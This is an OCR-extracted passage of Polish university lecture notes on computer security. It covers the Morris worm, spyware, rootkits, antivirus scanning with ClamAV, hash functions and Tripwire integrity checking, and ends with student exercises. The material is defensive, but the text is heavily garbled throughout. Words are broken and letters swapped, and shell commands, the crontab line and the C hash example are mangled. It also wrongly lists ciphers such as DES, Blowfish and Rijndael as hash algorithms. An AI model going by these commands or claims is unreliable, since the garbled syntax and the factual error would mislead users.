Program finger nazwa_uzytkownika@adres ip podaje rézne dane o uzytkowniku komputera. Pokazuje to ponizszy

przyktad.

fi nger adam@l55.17.9.6

Login Narme TTY Idle When Wher e
adam Adam Kowal ski dtrenote 7 Wed 14:15 corona: 23
adam Adam Kowal ski pts/2 5 Wed 14:16 corona:23.0

Program f i nger taczy si¢ z demonem finger na serwerze. Robak Morrisa uruchamiat program f i nger ze specjanie
spreparowanym tancuchem dtugosci 536 bajtow ktéry powodowal przepetnienie buforai nadpisywat stos. Sterowanie
nie wracato ha miejsce ale uruchamiato powtoke sh za pomoca ktérej sprowadzany byt program inicjujacy. Robak
Morrisaw ciggu kilku godzin zainfekowat wigkszos¢ systeméw Sun i VAX. Za napisanie robaka Morris zostal skazany
na 3 lata nadzoru, 400 godzin prac spotecznych i kare 10 000 dolaréw grzywny. Obecnie jest profesorem naMIT.

8.4 Oprogramowanie szpiegujace

Oprogramowanie szpiegujace (ang. Soyware) jest instalowane potajemnie na komputerze uzytkownika. Zbieraono i
przekazuj e rozne informacje dotyczace uzytkownika. Oprogramowanie szpiegujace ma nastepujace cechy:

Ukrywasi¢
Gromadzi rézne dane o uzytkowniku takie jak hasta do innych kont, odwiedzane witryny, adresy email znajomych
Przesyta zgromadzone dane do centrali

Oprogramowanie szpiegujace wykorzystuje czesto technologi¢ ActiveX z systemu Windows.

8.5 Rootkity

Rootkity (ang. root — korzen,rdzen) sa rodzajem ztosliwego oprogramowania ktore w sposodb aktywny ukrywa swoje
istnienie w systemie. Pierwotnie byty to paczki programéw binarnych (ang. kit) jak sh, i net d, sshd, ktére po
wiamaniu zastgpowaty oryginalne programy stwarzajac ukryta furtke do systemu. Rootkit modyfikuje jadro systemy w
taki sposob, ze przej muje wywotania systemowe zwracajace liste aktywnych procesdw (np. ps) i liste plikow (np. | s)
tak aby ukrywane procesy i pliki nie byty pokazywane. Stad s3 trudne do wykrycia nawet przez programy
antywirusowe. Czesto konieczne jest uruchomienie systemu ze zdrowego nosnika.

85.1 Rodzajerotkitow
Wyrézniasi¢ kilka rodzajow Rootkitow:

Roootkit jadra— najczescig wystepujace rootkity infekujace jadro. Ukrywaja sie w sterownikach urzadzen i
modutach tadowal nych.

Rootkit bibliotek — ukrywaja sie w bibliotekach systemowych, np. | i bc. Modyfikuja dziatanie funkcji.
Rootkit aplikacji — zawarte sa w programach aplikacyjnych.

Rootkit maszyn wirtualnych (ang. hypervisor rootkit) — przy starcie systemu uruchamia maszyne wirtualng w
ramach ktérej uruchamiany jest wiasciwy system operacyjny. Maszyna wirtualna jest tak zmodyfikowana aby
ukry¢ istnienie rootkita.
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Rootkit firmware — obecnie oprogramowanie startowe BIOS czesto przechowywany jest w pamieci flash ktorg
mozna przeprogramowac. Tam moze Si¢ ukry¢ rootkit i uaktywni si¢ przy starcie systemu i odwotaniu do funkcji
BIOS u.

8.5.2 Wykrywanierootkitow

Wykrywanie rootkitow jest trudne, gdyz dziatanie systemu operacyjnego jest zmodyfikowane. Stosuje si¢ techniki
poréwnania krzyzowego (pliku i obrazu w pamieci) i uruchomienie programu antywirusowego ze zdrowego nosnika
(ptyty CD, dysku USB) i dopiero wtedy pliki zawierajgce rootkit mogg by¢ wykryte. Wykrywanie rootkitow maszyn
wirtualnych oparte jest na pomiarze czasu dostepu do fizycznych zasob6w (np. rejestrow).

85.3 Przyklad rootkita

Klasyczny rootkit wykorzystany zostat przez firmg Sony do zapobiezenia kopiowania ptyt CD z muzyka. Na ptycie byt
umieszczony plik aut or um i nf w ktdrym byt zawarty skrypt instalacji rootkita. Rootkit kopiowat na dysk swj kod
w postaci plikéw zaczynajacych si¢ od $sys$. Dalel modyfikowat jadro systemu Windows w taki sposob ze jego
pliki nie byty wyswietlane. Przechwytywat takze wywotania systemowe dotyczace napedu CD uniemozliwigjac ich
skopiowanie na dysk.

8.6 Obrona przed wirusami, programy antywirusowe
W celu przeciwdziatania ztosliwym programom stosuje si¢ nastepujace srodki przeciwdziatania:

Skanery antywirusowe

Weryfikatory integralnosci
Weryfikatory zachowan
Przestrzeganie zasad bezpieczenstwa

8.6.1 Skanery antywirusowe

Skanery antywirusowe posiadaj g bazy danych zawierajacych probki znanych wirusdw. Jako ze stale pojawiaja Sie
nowe, baza ta powinna by¢ na biezaco aktualizowana przez sie¢. Dziatanie skanera antywirusowego polega
przegladaniu wszystkich plikow w systemie i sprawdzaniu, czy nie zawierajg sekwencji bajtow zawartych w bazie
danych. Jest to czasochtonne zadanie. Aby przyspieszy¢ prace programu mozna sprawdzaé tylko te pliki ktore zostaty
od ostatniego skanowania zmodyfikowane. Ale sprytne wirusy moga takze ukrywac fakt zmiany. Jeszcze innym
sposobem przyspieszenia poszukiwan wirusa jest sprawdzanie tylko tych plikdw ktérych rozmiar si¢ zmienit
(powiekszyt) od czasu ostatniego skanowania. Wirusy moga ukrywa¢ swe istnienie kompresujac infekowany program,
przez co jego wielkos¢ nie ulega zmianie. Pokazano to na ponizszym rysunku.

wirus wirus
: zaszyfrowany

program program wirus Klucz
proc. deszyfr.
proc. dekompr. proc. dekompr.

proc. kompresji

proc. kompresji

program program
skompresowany skompresowany
nagléwek nagléowek naglowek nagléwek
Program przed Program Program wirus
infekcjg zainfekowany skompresowany zaszyfrowany

Rys. 8-3 RAzne sposoby ukrywania sie wirusa

Zastosowanie kompresji nie zmienia dtugosci pliku, ale kod wirusa pozostaje staty i moze by¢ wykryty przez skaner
antywirusowy. Aby temu zapobiec, wirus moze sam si¢ zaszyfrowac¢, w kazdym przypadku uzywajac innego |osowego
klucza. W takim przypadku tak klucz jak i procedura deszyfracji musi by¢ umieszczonaw pliku i moze by¢ zauwazona
przez skaner. Bronig si¢ przed tym wirusy mutujace (okreslane jako polimorficzne), ktore przy okazji kazdego
kopiowania zmieniaja kod procedury deszyfracji. Zmiana polega na przestawianiu instrukcji kodu w taki sposdba aby
dziatanie byto bez zmiany, lecz uktad instrukcji byt za kazdym razem inny (np. przez zastosowanie instrukcji NOP).

8.6.2 Weryfikatory integralnosci
Jeszcze innym sposobem wykrywania ingerencji w system jest zastosowanie weryfikatoréw integralnosci (ang.
integrity checking) co opisano w kolejnym rozdziale. Weryfikator integralnosci oblicza skréty waznych plikow i
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przechowuje je w wewnetrzngj bazie danych. W kolejnych przebiegach poréwnuje obliczone skréty z zapamietanymi
w bazie danych. Gdy otrzymana zostata réznica, wskazuje to naingerencje w system.

8.6.3 Weryfikatory zachowania

Weryfikator zachowania (ang. behavioral checking) mawykrywa¢ wszelkie nienormalne zachowanie si¢ programéw.
Ma on posta¢ rezydentnego programu ktory przechwytuje wywotania systemowe. Wylapuj e sytuacje ktore nie powinny
mie¢ migjscajak np. prébe nadpisania sektora startowego dysku.

8.6.4 Zasady bezpieczenstwa
Niezaleznie od oméwionych juz narzedzi nalezy przestrzega¢ podstawowych zasad bezpieczenstwa, gdyz lepigj jest
zapobiegac niz leczyé. Zasady te podajemy za ksigzkg A. Tannenbauma [1].

Stosowa¢é system operacyjny o wysokim poziomie bezpieczenstwa. System powinien by¢ mozliwie prosty bo
wtedy ma szanse zawiera¢ mnigj biedow.

Stosowa¢ oprogramowanie pochodzace ze sprawdzonych zrodet.

Stosowac¢ regularnie program antywirusowy i weryfikator integral nosci

Nie uruchamia¢ zatacznikOw poczty elektronicznej

Sporzadza¢ kopie zapasowe waznych plikéw na zewnetrznym nosniku

Nie dopuszcza¢ do mozliwosci uruchamiania aktywnych tresci.

Stosowac pamigci z moziwoscig fizycznego zablokowania zapisu do pewnych obszaréw

8.7 Program antywirusowy ClamAV

Przyktadem programu antywirusowego jest narzedzie Cl amAV htt p: // www. cl amav. net /. Jest to narzedzie
rozpowszechniane nalicencji GPL przeznaczone dla systemdw rodziny UNIX. Dokumentacja znajduje si¢ w lokagji
https://hel p.ubuntu.com/community/ClamAV i w [6]. W skiad zestawu wchodza migdzy innymi:

Wielowatkowy demon cl and
Skaner antywirusowy lini polecen (scancl an)
Narzedzie do tworzenia sygnatur i wtasnych baz wiruséw
Biblioteka, za pomoca ktérej mozna tworzy¢ wiasne programy antywirusowe na bazie ClamAV
Narzedzie f r eshcl amdo automatycznej aktualizacji bazy wirusdéw zawierajacej sygnatury ponad 2.800.000
Wirusow.
Narzgdzie umozliwia sprawdzanie plikow skompresowanych, plikow ELF, plikow poczty elektronicznej, HTML i
wielu innych. Mozna sprawdzi¢ czy program jest zainstalowany poleceniem: dpkg —s cl amav

root @ali:~# dpkg -s cl amav
Package: cl amav
Status: install ok installed

Narzedzie moze by¢ instalowane ze zrédet, badz za pomocg instalatora. W Linux Ubuntu beda do polecenia:

apt-get install clamav -instalacjapakietu ClamAV
apt-get install clamk -instalacjainterfejsu graficznego
freshcl am - aktualizacja bazy wirusow

Bazy danych wirusow znajduja si¢ w katalogu / var / | i b/ cl amav. Sg to pliki byt ecode. cvd, daily.cvd i
mai n. cvd. Baze danych wirusbw mozna odswierzy¢ poleceniem

root @ali:~# freshcl am
Cl amAV update process started at Wd Oct 23 08:39:54 2019

W pewnych przypadkach nalezy usunaé¢ wczesniejsze werge bazy danych z folderu / var /i b/ cl amav aenalezy
pozostawi¢ plik mirrors. dat.

Pakiet Cl amAV umozliwia uruchomienie demonacl and ktory na biezaco sprawdza pliki do ktérych realizowany jest
dostep. Demonatego instaluje sie¢ poleceniem:

apt-get install clamav-daenon

Nastepnie nalezy dokona¢ jego konfiguracji za pomoca programu cl anconf . Program zapisuje konfiguracje w pliku
/et c/cl amav/ cl amd. conf . Skanowanie wykonuje si¢ poleceniem clamscan. Opcje programu uzyskujemy
poleceniem:

/usr/bin/clanscan -h
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Ponizej podano przyktad skanowania katal ogu biezacego. Opcja—r wiacza rekursywne skanowanie podkatal ogow a—
okresla nazwe pliku z wynikami.

clamscan -r - scan.txt

----------- SCAN SUMMARY -----------
Known viruses. 6303806

Engine version: 0.99.2

Scanned directories: 474

Scanned files: 6845

Infected files: O

Data scanned: 406.50 MB

Dataread: 14542.51 MB (ratio 0.03:1)
Time: 117.807 sec (1 m579)

Przyktad 8-2 Skanowanie katalogu biezacego

Ponizgj podano przyktad skanowania katalogu / hone.

clanscan -r /hone

Przyktad skanowania catego systemu plikow z wyjatkiem katal ogu /sys dano ponizej:

clamscan --max-fil esi ze=3999M - - max- scansi ze=3999M - - excl ude-di r=/sys/* -i -r [

Waznym elementem systemu jest biezagca aktualizacja bazy wirusow co wykonywane jest przez program f r eshcl am
Program ten moze by¢ uruchamiany przez demon cl and. Nalezy wtedy dokona¢ konfiguracji programem

cl anconf . Moznatez umiesci¢ program w konfiguracji demona zegarowego cr on. Nalezy uzy¢ polecenia
crontab —e

Nastepnie w pliku crontab’awpisac linig:

MG* * * [usr/local/bin/freshcl am --qui et

M — oznacza minute uruchomienia programu (0-59), G — oznacza godzine uruchomienia programu (0-23).

Skaner wirusow x

& B¢

Konfiguracja

:iEI L=l GE L&
Ustawienia Biata lista Sie¢ Harmonogram
Historia
#
Historia Kwarantanna
Aktualizacje
E 4
Aktualizu Asystent aktualizacji
Analiza
|| | Q
Skanuj plik Skanuj katalog Analiza

Ekran 8-1 Program antywirusowy ClamAv z interfejsem graficznym cl ant k.
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8.8 Zadania

8.8.1 Szukaniewzorcawirusaw pliku
Napisz program ktory przesukuje plik binarny w celu znal ezienia wzorca 2,3,4 bajtowego zadanego w postaci tablicy
HEX.

8.8.2 Szukaniewirusaw katalogu
Napisz program przeszukujacy rekurencyjnie drzewo katalogu i odnajdujacy programy wykonywalne. Nastepnie
wykorzystaj procedure z poprzedniego programu w celu znal ezienia wzorca wirusa zadanego w postaci tablicy.

8.8.3 Program antywirusowy clamav

Zainstaluj i wyprébuj gotowy program antywirusowy cl amav oraz interfejs graficzny cl ant k. Opis programu
zawarty jest w: https://hel p.ubuntu.com/community/ClamAV . Przeprowadz skanowanie wybranych katal ogow z
pomini¢ciem katalogéw / pr oc, / sys, / var i pokaz raport prowadzacemu.
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9. Zapewnianieintegralnosci systemu

Ataki na system skutkujg umieszczeniem w nim ztosliwego oprogramowania, modyfikacji istnigjacych plikéw, zmiang
plikow konfiguracyjnych. Akcje takie skutkuja modyfikacja istniejacego systemu plikéw. System plikow moze byé
chroniony przed manipulacja poprzez zapewnienie, ze okreslone pliki nie zostaty przez osoby nieuprawnione
zmienione. Narzedzia takie nazywane sg skanerami integralnosci systemu plikow. Procedura ta opisana zostata w [16].
Polega ona na zapisywaniu dla chronionych plikdw nastepujacych informacji:

Prawa dostepu

Numer [-wezta

Wiasciciel pliku

Grupa do ktorej nalezy wiasciciel pliku
Widkosé pliku

Czas ostatniel modyfikacji i zmiany atrybutéw
Czas ostatniego dostepu

Liczba dowigzan symbolicznych

Nazwy dowigzania symbolicznego

Tworzony jest takze skrét pliku(sygnatura) wedtug réznych algorytmoéw lub ich kombinacji shal, sha256, sha512,
md5, rmd160, tiger. Atrybuty pliku i sygnatury zapisywane sa w pliku kontrolnym. Sprawdzenie integralnosci polega
na ponownym sprawdzeniu atrybutéw i obliczeniu dla chronionych plikéw sygnatur i poréwnanie ich z zapamigtanymi
w pliku kontrolnym. Gdy wykryjemy réznice, $wiadczy to o probie manipulacji.

9.1 Funkcje skrétu

Funkcja skrétu [19] , nazywanatez funkcja mieszajgca lub haszujacy. Funkcja skrétu h(m) odwzorowuje dane
wejsciowe m (ciagg bitdéw) o dowolngj dtugosci w dane wyjsciowe s (ciag bitow) o statej dtugosci n.

s= h(m)
-4——zmienna dlugo$¢——m <4—» stala dlugos¢
Jan Kowal ski : —»2235
234 ggg AAA R —» 5793
Poj ezi erze drawski e — » 6799
Ni eznana funkcja skroétu » 2244
komunikat Funkcja skrotu skrot

Rys. 9-1 Koncepja funkcji skrétu

Zadaniem funkcji skrétu jest ochronaintegralnosci danych. Niewielka zmiana (nawet jednego bitu) w komunikacie
wej sciowym ma spowodowa¢ zmiane funkcji skrétu. W konsekwencji wtasnos¢ ta umozliwia stwierdzenie czy
komunikat zostat w sposob przypadkowy lub celowy zmodyfikowany. Funkcjom skrétu stawia sie nastepujace
wymagania:

Nieodwracalnosé - gdy znany jest skrét s= h(m) komunikatu mto znalezienie mna podstawie sjest trudne badz
niemozliwe.

Staba bezkolizyjno$¢ — gdy znany jest komunikat m1 i jego skrét sl to znalezienie komunikatu m2 takiego ze
h(m2) = h(m1) jest obliczeniowo trudne

Silna bezkolizyjnos¢ - znaezienie dowolngj pary roznych komunikatéw mi m', takich ze h(m) = h(n7') jest
obliczeniowo trudne

Komprega—rozmiar [s] skr6tu s musi byé znaczaco mniejszy od rozmiaru |[m| wiadomosci m.

Nie powinno by¢ mozliwosci uzyskania zadnych uzytecznych informacji na temat komunikatu, majac do dyspozycji
tylko jego skrét. Z tego powodu, funkcje skrétu powinny zachowywaé sie jak funkcje losowe, bedac jednoczesnie
tatwymi do obliczenia funkcjami deterministycznymi. Obecnie [4] najczescie) wykorzystywane s takie a gorytmy
obliczania skrotow jak DES, MD5, SHA256, SHA512, whirlpool, tiger, ripemd, Blowfish, Rijndael. Przyktadowo
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mozemy policzy¢ skrét wedtug algorytmu md5 podanego w RFC 1321 pliku za pomocs narzedzia nd5sum Opcje
programu mozna uzyskac¢ poleceniem:

nd5sum -h

Przyktadowo mozemy policzy¢ skrét pliku otrzymywanego za pomocg polecenial s / bi n.

j uka@bol : ~$ I's /bin > bin.txt
j uka@lbol : ~$ nmd5sum bi n. t xt
68bd3blcadef c48a2f 9132a9c¢62211cc bin. txt

Przyktad 9-1 Obliczanie skr6tu md5 pliku bin.txt

unsi gned | ong hash(unsigned char *str) {
unsi gned | ong hash = 5381
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c¢; /* hash * 33 + ¢ */
return hash;

}

Przyktad 9-1 Przyktad funkcji skrétu

9.2 Skanery integralnosci
Istnigje wiele programdw zapewnigjacych integralnosé systemu. Wymieni¢ tu mozna:

AIDE, - htt p: // ai de. sour cef orge. net/ st abl e/ manual . ht m
Samhain,
Tripwire

9.3 Pakiet tripwire
Pakiet tripwire (ht t p: // www. tri pwi re. com ) stuzy do zapewnieniaintegralnosci systemu i wykrywaniajego
niechcianych modyfikacji. Opisany jest miedzy innymi w [28], [29].

9.3.1 Instalacja pakietu
Sprawdzamy czy pakiet jest zainstalowany:

#dpkg —list | grep tripwire
il tripwire 2.4.3.1-2+b4 i 386 file and directory integrity checker

Gdy tak mozemy usunaé¢ poprzednia wersie:

#apt-get renove tripwire
#apt-get purge tripwire

Instalacji pakietu dokonuje sie jak ponizej:
#apt-get install tripwire
Podczas instalacji program spyta o:

tryb zawiadamiania e-mailem

Przebiegi konfiguracji (na obydwa zapytania odpowiedzie¢ yes)

Klucz migjsca (ang site key), uzywany do zabezpieczenia bazy danych

Klucz lokalny (ang. local key), zabezpieczenie wykonywania programéw binarnych
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Do you wish to create/use your site key passphrase during installation? - Yes
Gk

Do you wish to create/use your |ocal key passphrase during installation? - Yes
Rebuild Tripw re configuration file? - Yes

Rebuild Tripwire policy file? - Yes

Enter site-key passphrase - stud013

Repeat site-key passphrase - stud013

Enter |ocal key passphrase - stud013

Repeat |ocal key passphrase - stud013

Generati ng keys

Triwire has been installed

Binaries are located in /usr/sbin

Dat abase in /var/lib/tripwire

See /usr/share/doc/tripw re/ READVE. debi an for details

Przyktad 9-2 Instalacjapakietutri pwi re

| Get local passphrase |

Tripwire has been installed

The Tripwire binaries are located in /fusr/sbin and the database is
located in /var/lib/tripwire. It is strongly advised that these
locations be stored on write-protected media (e.g. mounted RO floppy).
See /usr/share/doc/tripwire/README.Debian for details.

Przyktad 9-3 Instalacja pakietu tripwire — informacja koncowa
Informacje o pakiecie mozna uzyska¢ poleceniem:
$man tripwre

Podrecznik podaje informacje na dodatkowe tematy:

$man twiiles — opis plikéw tworzonych przez tripwire
$man tweonfig — opis plikéw konfiguracyjnych
$man twpolicy — opis polityki sprawdzania plikow

9.3.2 Konfiguracja
Pliki i katalogi:
Katalog: / usr/ sbi n/
- tripw re —programwykonujace podstawowe operacje jak utworzenie bazy danych i sprawdzenie
integralnosci plikow na podstawie bazy danych
twadm n - program stuzacy do tworzenia, kodowaniai podpisywania pliku definiowania polityki
sprawdzania integralnosci
twprint - drukuje baze danychi raporty

Katalog: / et c/ tri pwire/ zawieranastepujace pliki:

twi nstal | . sh - skrypt instalacyjny
twef g. t xt - przyktadowy plik konfiguracyjny pakietu

tw. cfg - podpisany plik konfiguracyjny tworzony przez skryptt wi nstal | . sh
t wpol . t xt - przyktadowy plik polityki ochrony
t w. pol - podpisany plik polityki tworzony przez skrypttwi nstal | . sh

Po wykonaniu instalacji raporty znajduja si¢ katalogu/ var /i b/ tri pwi re/

Po zainstalowaniu nalezy zainicjowa¢ pliki za pomoca polecenia

tripwire —init
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9.3.3 Edycjaregul ochrony

Plik konfiguracyjny /etc/tri pwi re/ twpol .t xt okreslajakie pliki/katalogi maja podlegat ochroniei w jaki
sposob. Opis parametréw pliku polityki mozna uzyska¢ poleceniem: $man t wpol i cy.

Plik konfiguracyjny sktada si¢ z:

komentarzy,

regut,
dyrektyw,
zZmiennych.

Reguty
Reguty maja opisywac co maby¢ sprawdzane i w jakim zakresie. Sg dwa rodzaje regut:

Zwykte reguty opisujace jakie wiasciwosci poszczegdlnych plikéw maja by¢ sprawdzane i w jakim zakresie.
Punkty stopu méwigce ze pewne pliki lub katalogi nie maja by¢ sprawdzane.

Reguta ma postac:
nazwa_obi ekt u -> naska_wtasnosci
Nazwa obiektu jest sciezka do pliku lub katalogu.
Przyktad reguty:
letc/ -> +ugp
Znacznik -> oddziela sciezke i maske wiasciwosci. Biate znaki musza oddziela¢ nazwe obiektu i znacznik a znak

srednikamusi konczy¢ regute. Jesli sciezka wskazuje na katal og, to bedzie sprawdzany ten katalog i wszystko co lezy
ponizej. Jesli sciezka wskazuje na pewien plik, to tylko ten plik bedzie sprawdzany.

Przykiady:

# Przykiad zaw era poprzedzone zakiem $ zm enne
# Defines Tripwi re behavior for entire /bin directory tree.
/bin -> $(ReadOnly);

# Defines Tripwire behavior for a single file. In this case,
# Tripwire watches for all properties of hostnane. hneO.
/ et ¢/ host nane. hme0 -> $(1 gnoreNone) -ar;

# Scan the entire /etc directory tree using maskl, except the
# file /etc/passwd, which should be scanned usi ng nask2.

letc ->  $(maskl);

/etc/passwd -> $(mask2);

Nazwy obiektéw
Nazwy obiektéw moga by¢ bezwglednymi sciezkami do plikow lub katal ogdw
Maska wiasnosci

Maska wiasnosci okresla jakie atrybuty dla obiektu maja by¢ kontrolowane atakze w jaki sposdb. Maska wiasnosci
sktada si¢ ze znakdw (podano wazniegjsze):

a; # Access tinestanp

b; # Nunmber of bl ocks

C; # I node timestanp (create/ nodify)
d; # I node storage di sk devi ce numnber
g; # File owner's group ID

i; # | node nunber

m # Modi fication tinestanp

n; # inode reference count
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p; # Permi ssions and file node bits
r; # Devi ce Nunber

S; # File size

t; # File Type

u; # File owner's user ID

I # File is increasing in size

G # CRC- 32 hash val ue

M # MD5 hash val ue

S; # SHA hash val ue

H; # Haval signature val ue

Gdy literawtasnosci poprzedzona jest znakiem + to wiasnosc¢ tajest sprawdzana, gdy znakiem —to nie.
Przyktady:

# Exam ne perm ssions and |ink count.

# Al three of the follow ng are equival ent.
+p+n

pn

pn-g

Zmienne

W pliku wtasnosci wystepuja zmienne. Zmienne moga by¢ definiowane w pliku, istnigja tez zmienne predefiniowane.
Przyktady definiowaniai uzyciazmiennych.

paraml = +SMCH,
dirl = /etc/inet;
DIRL = /etc/init.d;
$(dirl) -> +tbanc;

Definicja zm ennej parant.

Definicja zmennej dirl

Zm enne uwzgl edni aj 3 duze/ nate litery
Reguta uzywaj aca zm ennej dirl

Podst awi enie z | ewej strony

Reguta z maska paranetréw

podst awi enie z prawej strony

/etc/inet -> $(paramd);

HHHHFHHFHR

Zmienne predefiniowane

Wyjasnienie znaczenia zmiennych predefiniowanych opisane jest w pliku:
/usr/share/doc/tripw re/policyguide.txt

Przyktady:

$(1gnoreNone); # IgnoreNone sa przeznaczone dla krytycznych plikow takich jak
# passwd atrybuty: +pinusganct dbCMSH

$(ReadOnl y) ; # ReadOnly sa przeznaczona dla plikéw ktdére sa tyl ko do odczytu
# atrybuty: +pinugsnt dbCM

$( G owi ng); # Growing sa przeznaczona dla plikéw ktére npga tyl ko
# rosnac¢ takich jak logi, atrybuty: +pinugtdl

$(lgnoreAll); # Uzywana gdy wazna jest obecnos¢/ ni eobecnose pliku,
# wszystki e atrybuty sa i gnhorowane

$(Dynanmi c); # Przeznaczone dla nonitorowani a plikoéw i katal ogow uzyt kowni ka
# ktdére npga sie zmenia¢ atrybuty: +pinugtd

Punkty stopu

Punkty stopu specyfikuja ktore pliki lub katalogi nie maja by¢ sprawdzane. Sktadnia jest nastepujaca:
I nazwa_obi ektu ;

Przyktady:
I'letc/init.d;
# The directory /etc/init.d will not be scanned.

letc -> $(ReadOnly);
I/etc/rc.d;
I/etc/ mttab;
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# Scan all of /etc, but do not scan two particul ar
# files in the /etc hierarchy.

Atrybuty regut
Atrybuty regut modyfikuja ich zachowanie dostarczajgc dodatkowych informacji. Do jednej reguty moze by¢ dodane
kilka atrybutéw. Atrybuty moga by¢ dodane do reguty w nastepujacy sposob:
nazwa_obi ektu -> naska_atrybutéw (atrybut = wartosc¢);
Przykiad:

fusr/lib -> $(ReadOnly) (emailto = adni n@o0.com severity = 80);
#This rule will notify the adnmin if any violations of the
#rul e occur and designhate the severity as 80.

Atrybuty regut moga by¢ takze zastosowane do grupy regut:
(l'ista atrybut 6w)

{
lista reguz;
}
emai | t o — wystanie mailado adresata
(emailto = adnmi n@penna. com rul ename = "Shell Binaries")
{
/ bi n/ bsh -> $(SEC BIN);
/ bi n/csh -> $(SEC BIN);
/ bin/sh -> $(SEC BIN);
}

severity —nadanie stopniawaznosci dangj regule (O — 100000)
/etc -> +ug (severity=50);

recurse - uzywany do okreslaniaczy maby¢ sprawdzana zawartos¢ katalogdw i do jakiegj gtebokosci. Wartosé:
true, false lubliczba—1 do 1000000. Gdy jest to liczba dodatnia, okresla ona poziom zagtebieniaw skanowaniu
katalogow. Gdy f al se sprawdzany jest tylko i-wezet bez zawartosci. Gdy r ecur se=t r ue ( domysinie),
sprawdzana jest cata zawatros¢ ponizel punktu startu.

/etc -> +ug (recurse=2);
W plikach konfiguracyjnych wystepuja takze dyrektywy ktére umozliwiagjg warunkowe spawdzanie systemu.

@@ f host dream
/ bin -> $(ReadOnl y) ;
@@@ndi f

Przykiad pliku polityki t wpol . t xt podany zostat ponizej.

SEC CRIT = $(IgnoreNone) - SHa; # Critical files - we can't afford to miss any changes.
SEC_SU D = $(IgnoreNone) - SHa; # Binaries with the SUD or SG@D flags set.

SEC TCB = $(ReadOnly); # Menbers of the Trusted Conputing Base.

SEC BIN = $(ReadOnly); # Binaries that shouldn't change

SEC_CONFI G= $(Dynanic); # Config files that are changed infrequently but accessed often.
SEC LOG = $(Gow ng); # Files that grow, but that should never change ownershi p.

SEC | NVARI ANT = +pug; # Directories that should never change permission or ownership.
SI G LOW = ; # Non-critical files that are of mininmal security inpact

SI G_MED = 66; # Non-critical files that are of significant security inpact
SIGH = 100; # Critical files that are significant points of vulnerability

# Commonly accessed directories that should remain static with regards to owner and group

(emailto = adm n@penna. com rul ename = "Shell Binaries")
{
/ bi n/ bsh -> $(SEC_BIN);
/ bi n/ csh -> $(SEC BIN);
/ bi n/ sh -> $(SEC BIN);
}
# Rest of critical systembinaries
(rul ename = "OS executables and |libraries", severity = $(SIGH))
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/bin -> $(ReadOnl y)
/lib -> $(ReadOnly)

}

# Local files
(rul enane = "User binaries", severity = $(SI G MED))

{

/ shin -> $(SEC BIN) (recurse = 1);
/usr/sbhin -> $(SEC BIN) (recurse = 1);
/usr/bin -> $(SEC BIN) (recurse = 1);

Przyktad 9-4 Przykted plikut wpol . t xt

Nalezy dokona¢ edycji pliku twpol.txt przystosowujac go do wiasnych potrzeb. Uwaga, nalezy uruchomi¢ edytor tak
by mozliwa byta edycja plikow nalezacych do roota.

$sudo gedit &

Nastepnie nalezy przebudowa¢ baze danych /etc/tripwire/tw.pol przy pomocy poleceniatwadmin. Po wprowadzeniu
polecenia uzytkownik zostanie spytany o hasto administratorai hasto miejscajak ponizej.

$sudo twadmin -m P /etc/tripwire/twpol .txt
[sudo] password for juka:******

Please enter your site passphrase;******
Wrote policy file: /etc/tripwire/tw.pol

Gdy hasto zostalo zapomniane mozna go zresetowac poleceniem:
twadmin -mG -S /etc/tripwire/site. key
Generujemy nowg baze z sygnaturami i opisem parametréw plikéw:
$sudo tripwire-mi

Please enter your site passphrase;******
Generating the database...
*** Processing Unix File System ***

Wrote database file: var/libftripwire/X XX twd
The databse was sucessfuly generated.

Sprawdzanie integralnosci systemu bedzie wykonane po wprowadzeniu polecenia:
$sudo tripwire-mc

Parsing policy file file /etc/tripwire/tw.pol

Performing integrity check ...

Jedrzej ULASIEWICZ - KatedraInformatyki Technicznej Politechniki Wroctawskiej

PDF created with pdfFactory trial version www.pdffactory.com



http://www.pdffactory.com
http://www.pdffactory.com

Bezpieczenstwo systemow i ustug informatycznych 82

Tripwire(R) 2.3.0 Integrity Check Report

Report generated by: r oot
Report created on: Fri Jan 12 04:04: 42 2001
Dat abase | ast updated on: Tue Jan 9 16:19: 34 2001

Report Summary:

Host nane: some. host. com

Host | P address: 10.0.0.1

Host | D None

Policy file used: letc/tripwre/tw. pol
Configuration file used: letc/tripwire/tw cfg

Dat abase file used: /var/lib/tripwre/sone. host.comtwd
Conmand |ine used: /usr/sbin/tripwire --check

Rul e Sunmary:

Section: Unix File System

Rul e Nane Severity Level Added Renoved Mbdified
Invariant Directories 69 0 0 0
Tenporary directories 33 0 0 0

* Tripwire Data Files 100 1 0 0
Critical devices 100 0 0 0
User binaries 69 0 0 0
Tripwire Binaries 100 0 0 0

Przyktad 9-5 Przyktad raportu tripwire

9.4 Zadania

9.4.1 Obliczanie skraétu dla pliku

Napisz program skr ot . ¢ ktéry obliczaliczbe bajtow i skrét dlainformacji zawarte) w podanym jako argument pliku.
Zmieni¢ jeden bit w pliku i sprawdzi¢ jak zmienita si¢ funkcja skrétu.

9.4.2 Sprawdzanie spojnosci plikéw z zadanego zbioru

Napisz program spoj noscl ktory sprawdza spojnosé plikéw zadanych w postaci pliku spi s. t xt . Plik spi s. t xt
zawiera hazwy (ze sciezkami) plikow do sprawdzenia. Moze to by¢ plik spi s. t xt postaci:

skr ot

skrot.c
skrot-plik
skrot-plik.c
spi s-plik.txt
spoj noscl
spoj noscl.c

Przyktad 9-6 Spis plikéw do sprawdzenia

Program sprawdzajacy spdjnos¢ uruchamiany ma by¢ z dwoma opcjami tworzenie spisu ,,tworz” i sprawdzanie
spdjnosci , sprawdz”. Opcja, tworz” tworzy plik wynikowy z dotgczonymi skrétami. Wywotanie programu ma postac:

spoj noscl tworz spis_plikow plik_wyni kowy

Parametr spi s_pl i kowzawieranazwy plikow do sprawdzenie a parametr pl i k_wyni kowy zawiera nazwy plikow

i ich skroty

skr ot b7f d5b48
skrot.c 8c26f 878
skrot-plik 8c26f 878
skrot-plik.c a29b7bba
spis-plik.txt 5af dcda9
spoj noscl d8c801ec
spoj noscl. c c20d49a6
spoj noscl. c c20d49a6
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Przyktad 9-7 Plik wynikowy zawiera nazwy plikéw i ich skroty
Program wywotany z opcja ,, sprawdz” ma sprawdzi¢ spojnosé plikow wymienionych w parametrze plik_wynikowy.
spoj noscl sprawdz plik_wyni kowy

Dla plikéw wymienionych w parametrze program ma odczyta¢ nazwy plikéw, obliczy¢ ich skréty i porownat z
zapisanymi wartosciami.

9.4.3 Sprawdzanie spojnosci plikéw z zadanego zbioru , wer §a z datami modyfikagji

